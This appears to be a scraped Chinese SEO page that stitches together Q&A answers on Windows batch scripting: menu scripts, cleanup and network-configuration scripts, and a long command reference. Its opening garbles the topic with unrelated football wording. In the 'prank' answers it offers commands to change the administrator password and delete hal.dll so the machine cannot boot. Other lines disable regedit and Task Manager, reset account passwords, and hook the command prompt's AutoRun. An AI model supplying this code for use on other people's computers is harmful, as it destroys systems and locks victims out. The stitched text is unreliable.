今天我们来探讨有关〖bat编程教程〗bat编程代码大全,以下4个关于欧冠皇马的观点希望能帮助到您找到想要的答案。
求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令
本文最佳回答用户:【回忆扯痛ㄋ心】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!
是因为你的问题太小儿科了,没有思考的价值,人家懒得回答。
代码如下:
@echo off
:input
title bat代码
::bat标题
set /p "num=请输入“1”或“2”到这里,然后按下回车键:"
if "%num%"=="1" cls & goto 1
if "%num%"=="2" cls & goto 2
echo. & echo 不能输入除了“1”和“2”之外的其他字符! & pause>nul & cls & goto input
:1
echo 现在正在执行代码1.
echo =====================================================
echo ==============请在这里添加您的第一个命令=============
echo =====================================================
pause>nul
cls & goto input
:2
echo 现在正在执行代码2.
echo =====================================================
echo ==============请在这里添加您的第二个命令=============
echo =====================================================
pause>nul
cls & goto input
如下面的例示代码,运行后将会使用记事本打开此代码:
@echo off
:input
title bat例示代码
::bat标题
set /p "num=请输入“1”或“2”到这里,然后按下回车键.输入“1”即可查看此代码,输入“2”有个惊喜哟:"
if "%num%"=="1" cls & goto 1
if "%num%"=="2" cls & goto 2
echo. & echo 不能输入除了“1”和“2”之外的其他字符! & pause>nul & cls & goto input
:1
echo 现在程序已经打开了此代码.
set "n=%~sdpf0"
copy /y "%n%" "%temp%">nul
for /f "delims=" %%i in ("%n%") do (
rename "%temp%%%~nxi" "$~%%~nxi.txt"
start "" "%temp%$~%%~nxi.txt"
)
pause>nul
for /f "delims=" %%i in ("%n%") do del /s /q /f "%temp%$~%%~nxi.txt"
cls & goto input
:2
set "filename=%temp%$~PleasantlySurprisedMessagePopupBox.vbs"
echo On Error Resume Next>>"%filename%"
echo ^MsgBox "偶就是个惊喜!O(∩_∩)O哈哈~令你惊喜吧?接下来还有更好玩的呢~请看bat窗口哈。",0+64,"惊喜">>"%filename%"
echo Wscript.CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)>>"%filename%"
call "%filename%"
echo 现在程序已经在您的启动菜单中创建了“每次开机提醒”文本文档,您可以编辑打开的文件夹中的文本文档并保存.
cd.>"%SystemDrive%Documents and SettingsAll Users「开始」菜单程序启动每次开机提醒,请打开我进行编辑并保存(不需要的话请删除我).txt"
start "" "%SystemDrive%Documents and SettingsAll Users「开始」菜单程序启动"
pause>nul
cls & goto input
以上就是重庆云诚科技小编解疑贡献者:(回忆扯痛ㄋ心)解答的关于“求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令”的问题了,不知是否已经解决你的问题?如果没有,下一篇内容可能是你想要的答案,下面继续阐述下文用户【°|依然——__╠消夨|°】分析的“求简单的整人Bat代码”的一些相关问题做出分析与解答,如果能找到你的答案,可以关注本站。

求简单的整人Bat代码
本文最佳回答用户:【°|依然——__╠消夨|°】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!
代码详解:
@echo off —— 隐藏命令,关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序(删了就开不了机)
shutdown -s -t 5 -c 你是一头猪! —— 定时关机5秒钟,并提示你是一头猪!
以上就是重庆云诚科技小编解答(°|依然——__╠消夨|°)解答关于“求简单的整人Bat代码”的答案,接下来继续为你详解体育用户(流星番茄)分析“bat的代码示例”的一些相关解答,希望能解决你的问题!
bat的代码示例
本文最佳回答用户:【流星番茄】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!
优质回答好了,先来几个实用的。 命令代码如下:
@echo off
echo 正在清除系统垃圾文件,请稍等
del /f /s /q %systemdrive%*.tmp
del /f /s /q %systemdrive%*._mp
del /f /s /q %systemdrive%*.log
del /f /s /q %systemdrive%*.gid
del /f /s /q %systemdrive%*.chk
del /f /s /q %systemdrive%*.old
del /f /s /q %systemdrive%recycled*.*
del /f /s /q %windir%*.bak
del /f /s /q %windir%prefetch*.*
rd /s /q %windir%temp & md %windir%temp
del /f /q %userprofile%cookies*.*
del /f /q %userprofile%recent*.*
del /f /s /q %userprofile%Local SettingsTemporary Internet Files*.*
del /f /s /q %userprofile%Local SettingsTemp*.*
del /f /s /q %userprofile%recent*.*
echo 清除系统垃圾文件完成!
pause @echo off
::判断本地连接赋值a
for /f tokens=3,4 delims== %%i in ('ipconfig ^|findstr /r 本') do echo %%i %%j >DNS.txt
for /f tokens=1 delims==: %%d in (DNS.txt) do set a=%%d
echo 请根据实际情况更改下面三行
set slection1=
set/p slection1=请输入IP地址:
netsh interface ip set address name=%a% source=static addr=%slection1% mask=255.255.255.0
set slection2=
set/p slection2=请输入网关地址:
netsh interface ip set address name=%a% gateway=%slection2% gwmetric=0
set slection3=
set/p slection3=请输入主dns地址
netsh interface ip set dns name=%a% source=static addr=%slection3% register=PRIMARY
set slection4=
set/p slection4=请输入备份dns地址
netsh interface ip add dns name=%a% addr=%slection4%
netsh interface ip set wins name=%a% source=static addr=none
del DNS.txt
exit 改完IP后可用这个完成本机ARP的绑定:
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find Physical Address ipconfig.txt >phyaddr.txt
for /f skip=2 tokens=12 %%M in (phyaddr.txt) do set Mac=%%M
if exist IPAddr.txt del IPaddr.txt
find IP Address ipconfig.txt >IPAddr.txt
for /f skip=2 tokens=15 %%I in (IPAddr.txt) do set IP=%%I
arp -s %IP% %Mac%
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
同时修改IP和MAC地址的小代码及制作步骤,用于带着本本到处跑又要改IP的场合!
1:生成 IP配置文件。
修改你的IP地址配置为某一个配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相关的,不需要修改MAC地址)。
然后输入:
netsh -c interface dump> c:net1.txt
这里net1.txt就是你生成的IP配置文件了!可以改为其它的文件名,比如:实验室,寝室!
依次生成所有的网络配置的配置文件,我假设一共生成两个网络配置分别为net1.txt和net2.txt
2:下载软件SMAC为修改MAC地址的小软件仅8K,我已经上传了。
3:在C盘根目录下建立一个目录,把刚才下载的smac.exe,生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是:C:cmd
4:建立一个批处理文件,假设为:ToNet1.bat(可以使用记事本编辑,不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat,否则就是ToNet1.bat.txt)
输入如下代码:
smac -modifymac 0 0050BA44D27A
netsh -f net1.txt
net1.txt就是你要设置的某一个网络的配置,0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略,这个表示网卡(你不会有两个或者多个网卡吧?如果你有,请注意自己先试一下看是哪一个网卡了:在这个smac程序的readme中有list功能,你可以判断一下)。
同样的方法,建立ToNet2.bat,当然修改网络配置文件为net2.txt和mac地址的属性了。
把这两个bat文件也放到c:cmd目录中。
5:然后你可以建立这两个bat文件的快捷方式,双击一下自动更换了!
不过请注意,修改MAC地址可能需要重新启动一下网卡比较好(禁用再启用) shutdown -s -t 0
运行这个后,立刻关机
想要重启,就把-s改为-r reg add
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesS
ystem /v DisableRegistryTools /t reg_dword /d 00000001 /f reg add
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesS
ystem /v DisableRegistryTools /t reg_dword /d 00000000 /f
start regedit reg add
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v
Hidden /t reg_dword /d 1 /f
reg add
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v
HideFileExt /t reg_dword /d 0 /f
reg add
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v
ShowSuperHidden /t reg_dword /d 1 /f REG ADD
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSy
stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f REG ADD
stem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f
解释:这五个都是通过改注册表做到的。
接下来搞几个用密码的。 @echo off
mode con cols=30 lines=4
set b=5
:pwd
title Password
set /a a=%a%+1
set /a b=%b%-1
set /p pwd=Enter Password:
if /I %pwd%==Password goto main
if /I %a%==5 goto err
echo Error %a% times! You have %b% times left now.
goto pwd
:err
color 40
mode con cols=30 lines=2
title Error!
cls
echo.
echo Error 5 times, it will exit!
ping 127.1 -n 6 >nul
exit
:main
mode con cols=30 lines=3
echo Password right!
pause
cls
goto program
:program
mode con cols=64 lines=16
:: Your program here. ::
解释:把第九行的Password改成密码。 @echo off
echo.
echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件,请稍侯
echo.
echo. >lockcmd.bat
echo @echo off >lockcmd.bat
echo echo. >>lockcmd.bat
echo setlocal >>lockcmd.bat
echo set /a times=3 >>lockcmd.bat
echo :checkpassword >>lockcmd.bat
echo set /p password=请输入密码: >>lockcmd.bat
echo set /a times=times-1 >>lockcmd.bat
echo if %%password%%==密码 goto continue >>lockcmd.bat
echo if %%times%%==0 goto exit >>lockcmd.bat
echo echo 输入的密码不正确,请重新输入,还有%%times%%次机会!
>>lockcmd.bat
echo goto checkpassword >>lockcmd.bat
echo :exit >>lockcmd.bat
echo echo. >>lockcmd.bat
echo echo 你无权进入命令行状态! >>lockcmd.bat
echo exit >>lockcmd.bat
echo :continue >>lockcmd.bat
echo cls >>lockcmd.bat
echo title 欢迎你回到命令行窗口工作! >>lockcmd.bat
echo cd /d c: >>lockcmd.bat
echo endlocal >>lockcmd.bat
copy lockcmd.bat %windir%
echo 正在设置注册表,从而让命令行窗口一打开便进入锁定状态
echo Windows Registry Editor Version 5.00 >temp.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]
>>temp.reg
echo AutoRun=lockcmd.bat >>temp.reg
echo 成功锁住命令行,只有输入正确的密码才可使用!
regedit /s temp.reg
del /q /f temp.reg >nul
del /q /f lockcmd.bat >nul
pause>nul
解释:这两个把“密码”改成你要输的密码就行了。
嗯,接下来是几个整人的。
2H1Q声明:使用这些代码造成的后果(比如别人找你麻烦)自负。
首先是个吓唬人的。
--------为维护网络安全以下代码已删除------- 注意,这个要慎用!
@echo off
set /p t=请输入您要修改的密码:
net user 计算机名 %t%
echo 修改成功!
在计算机名处写电脑登录时的账号
比如:net user administrator %t%
嗯,代码就列举到这里,大家可以自己编一些哦。
上文就是重庆云诚科技小编解疑贡献者:(流星番茄)回答的关于“bat的代码示例”的问题了,不知是否已经解决你的问题?如果没有,下一篇内容可能是你想要的答案,下面继续解读下文用户【甜蜜马车】贡献的“bat文件命令大全”的一些相关疑问做出分析与解答,如果能找到你的答案,可以关注本站。
bat文件命令大全
本文最佳回答用户:【甜蜜马车】 ,现在由重庆云诚科技小编为你分析与【bat编程教程】的相关内容!
优质回答.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称
时,MS-DOS成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。
==========
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== willsort 编注 ===========
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到
的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区
别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一
个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.
=====================
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执
行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue.的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
==== willsort 编注 =====
此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理
-------------------------
ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO
命令。
message
指定让MS-DOS在屏幕上显示的正文。
-------------------
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
batch-parameters
指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS
中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的注解。
=======================
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,
启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表
示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
==== willsort 编注 ===============
参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间
(例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参
数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如
下:
初始状态, cmd 为命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1次shift后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返
复移动起始指针.
====================
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
==== willsort 编注
if 的命令行帮助中关于此点的描述为:
IF [NOT] string1==string2 command
在此有以下几点需要注意:
1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符
2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量
3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行
=============================
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。
****** willsort 编注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系统中已加载的设备, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: .,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:
1. 该设备确实存在(由软件虚拟的设备除外)
2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)
3. 该设备已准备好(主要是指a: b: ., com1., lpt1.等)
可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备
另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄
(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即
指在内存中为其分配可引用的句柄.
==================================
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值
,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立
,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
==== willsort 编注 ===========
返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺
序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
.
当然, 也可以使用以下循环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8.) do if errorlevel %%e set el=%%e
更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章
出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致
在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.
另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略
掉罢了
===========================
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配
合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用":字符串"来定义,标号所在行不被执行。
==== willsort 编注
label 常被译为 "标签" , 但是这并不具有广泛的约定性.
goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case
结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语
法结构上的对照:
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if. switch&case / select case
goto&:&if&set&envar. function() / function(),sub()
==================================
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配
合,根据用户的选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /查看用法。
choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。
/ 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
序排列。
示例:
CHOICE /
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
==== willsort 编注 ===============================
我列出win98下choice的用法帮助, 已资区分
Waits for the user to choose one of a set of choices.
等待用户选择一组待选字符中的一个
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN
指定允许的按键(待选字符), 默认为YN
/N Do not display choices and at end of prompt string.
不显示提示字符串中的问号和待选字符
/S Treat choice keys as case sensitive.
处理待选字符时大小写敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒后默认选择 c
text Prompt string to display
要显示的提示字符串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值
====================================
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示"defrag,mem,end[D,M,E]" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号
为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到
end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
关于[bat编程教程]的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。
推荐文章:
本文由网上采集发布,不代表我们立场,转载联系作者并注明出处:https://www.cqycseo.com/zixun/7025.html
